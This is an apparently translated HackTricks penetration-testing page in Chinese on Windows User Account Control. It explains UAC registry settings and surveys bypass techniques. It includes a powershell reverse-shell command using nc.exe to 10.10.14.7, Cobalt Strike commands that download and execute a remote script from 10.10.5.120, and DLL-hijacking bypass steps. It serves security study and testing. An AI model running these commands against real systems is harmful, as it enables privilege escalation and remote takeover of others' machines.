19 KiB
UAC - 用户账户控制
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
UAC
用户账户控制(UAC)是一种功能,它为提升的活动提供了同意提示。应用程序具有不同的完整性
级别,具有高级别的程序可以执行可能危及系统的任务。当启用UAC时,应用程序和任务始终在非管理员帐户的安全上下文中运行,除非管理员明确授权这些应用程序/任务以管理员级别访问系统来运行。它是一种方便功能,可保护管理员免受意外更改,但不被视为安全边界。
有关完整性级别的更多信息:
{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
当UAC启用时,管理员用户会获得两个令牌:一个标准用户密钥,用于以常规级别执行常规操作,以及一个具有管理员特权的令牌。
这个页面详细讨论了UAC的工作原理,包括登录过程、用户体验和UAC架构。管理员可以使用安全策略在本地级别(使用secpol.msc)配置UAC的工作方式,或者通过组策略对象(GPO)在Active Directory域环境中进行配置和推送。这些各种设置在这里详细讨论。有10个组策略设置可以用于UAC。下表提供了额外的详细信息:
组策略设置 | 注册表键 | 默认设置 |
---|---|---|
内置管理员帐户的用户账户控制:管理员批准模式 | FilterAdministratorToken | 禁用 |
用户账户控制:允许UIAccess应用程序在不使用安全桌面的情况下提示提升 | EnableUIADesktopToggle | 禁用 |
用户账户控制:管理员批准模式下管理员的提升提示行为 | ConsentPromptBehaviorAdmin | 对非Windows二进制文件提示同意 |
用户账户控制:标准用户的提升提示行为 | ConsentPromptBehaviorUser | 在安全桌面上提示凭据 |
用户账户控制:检测应用程序安装并提示提升 | EnableInstallerDetection | 启用(家庭版默认)禁用(企业版默认) |
用户账户控制:仅提升已签名和验证的可执行文件 | ValidateAdminCodeSignatures | 禁用 |
用户账户控制:仅提升已安装在安全位置的UIAccess应用程序 | EnableSecureUIAPaths | 启用 |
用户账户控制:以管理员批准模式运行所有管理员 | EnableLUA | 启用 |
用户账户控制:在提示提升时切换到安全桌面 | PromptOnSecureDesktop | 启用 |
用户账户控制:将文件和注册表写入失败虚拟化到每个用户位置 | EnableVirtualization | 已启用 |
UAC绕过理论
如果用户属于管理员组,则某些程序会自动进行自动提升。这些二进制文件在其清单中具有值为True的autoElevate选项。该二进制文件还必须由Microsoft签名。
然后,为了绕过UAC(从中等完整性级别提升到高级),一些攻击者使用此类二进制文件来执行任意代码,因为它将从高级完整性进程中执行。
您可以使用Sysinternals的工具sigcheck.exe检查二进制文件的清单。您还可以使用_Process Explorer_或_Process Monitor_(Sysinternals的工具)查看进程的完整性级别。
检查UAC
要确认UAC是否已启用,请执行以下操作:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
如果值为**1
,则表示UAC已激活**;如果值为**0
或者不存在**,则表示UAC处于未激活状态。
接下来,检查已配置的UAC级别:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- 如果值为**
0
,则UAC不会提示(类似于禁用**) - 如果值为**
1
**,管理员需要输入用户名和密码以使用高权限执行二进制文件(在安全桌面上) - 如果值为**
2
**(始终通知我),当管理员尝试以高权限执行某些操作时,UAC将始终要求确认(在安全桌面上) - 如果值为**
3
**,类似于1
,但在安全桌面上不是必需的 - 如果值为**
4
**,类似于2
,但在安全桌面上不是必需的 - 如果值为**
5
**(默认值),它将要求管理员确认以使用高权限运行非Windows二进制文件
然后,您需要查看**LocalAccountTokenFilterPolicy
的值
如果值为0
,则只有RID 500用户(内置管理员)能够执行管理员任务而无需UAC**,如果值为1
,则**"Administrators"**组中的所有帐户都可以执行这些任务。
最后,查看键**FilterAdministratorToken
的值
如果值为0
(默认值),则内置管理员帐户可以执行远程管理任务,如果值为1
,则内置管理员帐户无法**执行远程管理任务,除非LocalAccountTokenFilterPolicy
设置为1
。
总结
- 如果
EnableLUA=0
或不存在,则任何人都没有UAC - 如果
EnableLua=1
且**LocalAccountTokenFilterPolicy=1
,则任何人都没有UAC** - 如果
EnableLua=1
且**LocalAccountTokenFilterPolicy=0
且FilterAdministratorToken=0
,则RID 500(内置管理员)没有UAC** - 如果
EnableLua=1
且**LocalAccountTokenFilterPolicy=0
且FilterAdministratorToken=1
,则所有人都有UAC**
可以使用metasploit模块post/windows/gather/win_privs
收集所有这些信息。
您还可以检查用户的组并获取完整性级别:
net user %username%
whoami /groups | findstr Level
UAC绕过
{% hint style="info" %} 请注意,如果您可以以图形方式访问受害者的计算机,UAC绕过就很简单,因为当UAC提示出现时,您只需点击“是”即可。 {% endhint %}
在以下情况下需要UAC绕过:UAC已激活,您的进程在中等完整性上下文中运行,并且您的用户属于管理员组。
需要注意的是,如果UAC处于最高安全级别(始终),绕过UAC要困难得多,而如果UAC处于其他任何级别(默认),则绕过UAC要容易得多。
禁用UAC
如果UAC已经禁用(ConsentPromptBehaviorAdmin
为**0
),您可以使用以下命令以管理员权限(高完整性级别)执行反向Shell**:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
使用令牌复制绕过UAC
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
非常基本的UAC“绕过”(完全访问文件系统)
如果你拥有一个属于管理员组的用户的shell,你可以通过SMB(文件系统)本地挂载C$共享,然后你将可以访问文件系统中的所有内容(甚至是管理员的主文件夹)。
{% hint style="warning" %} 看起来这个技巧不再起作用了 {% endhint %}
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
使用Cobalt Strike绕过UAC
只有在UAC未设置为最高安全级别时,Cobalt Strike技术才能生效。
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
KRBUACBypass
文档和工具在https://github.com/wh0amitz/KRBUACBypass
UAC绕过漏洞
UACME是几个UAC绕过漏洞的编译集合。请注意,您需要使用Visual Studio或MSBuild编译UACME。编译将创建多个可执行文件(例如Source\Akagi\outout\x64\Debug\Akagi.exe
),您需要知道您需要哪一个。
您应该小心,因为某些绕过方法会提示其他程序,这些程序会警告用户有事情发生。
UACME具有每个技术开始工作的构建版本。您可以搜索影响您版本的技术。
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
此外,使用此页面,您可以从构建版本中获取Windows版本1607
。
更多UAC绕过
这里使用的所有绕过AUC的技术都需要与受害者进行全交互式shell(常见的nc.exe shell是不够的)。
您可以使用meterpreter会话。迁移到一个具有Session值等于1的进程:
(explorer.exe应该可以工作)
使用GUI绕过UAC
如果您可以访问GUI,当您收到UAC提示时,您可以直接接受它,您不需要绕过它。因此,访问GUI将允许您绕过UAC。
此外,如果您获得了某人正在使用的GUI会话(可能通过RDP),则有一些工具将以管理员身份运行,您可以直接运行cmd等作为管理员,而无需再次由UAC提示,例如https://github.com/oski02/UAC-GUI-Bypass-appverif。这可能更加隐蔽。
喧闹的暴力破解UAC绕过
如果您不在意喧闹,您可以始终运行类似于https://github.com/Chainski/ForceAdmin的东西,它会要求提升权限,直到用户接受为止。
您自己的绕过方法-基本的UAC绕过方法
如果您查看UACME,您会注意到大多数UAC绕过都滥用了Dll劫持漏洞(主要是将恶意dll写入_C:\Windows\System32_)。阅读此内容以了解如何查找Dll劫持漏洞。
- 找到一个将自动提升权限的二进制文件(检查执行时是否以高完整性级别运行)。
- 使用procmon查找可能容易受到DLL劫持的“NAME NOT FOUND”事件。
- 您可能需要将DLL写入一些受保护的路径(如C:\Windows\System32),您没有写入权限。您可以使用以下方法绕过此限制:
- wusa.exe:适用于Windows 7、8和8.1。它允许在受保护的路径中提取CAB文件的内容(因为此工具是以高完整性级别执行的)。
- IFileOperation:适用于Windows 10。
- 准备一个脚本,将您的DLL复制到受保护的路径中,并执行易受攻击且自动提升权限的二进制文件。
另一种UAC绕过技术
这种方法是观察是否有一个自动提升权限的二进制文件尝试从注册表中读取要执行的二进制文件或命令的名称/路径(如果二进制文件在HKCU中搜索此信息,则更有趣)。
使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品The PEASS Family
- 获取官方PEASS和HackTricks衣物
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。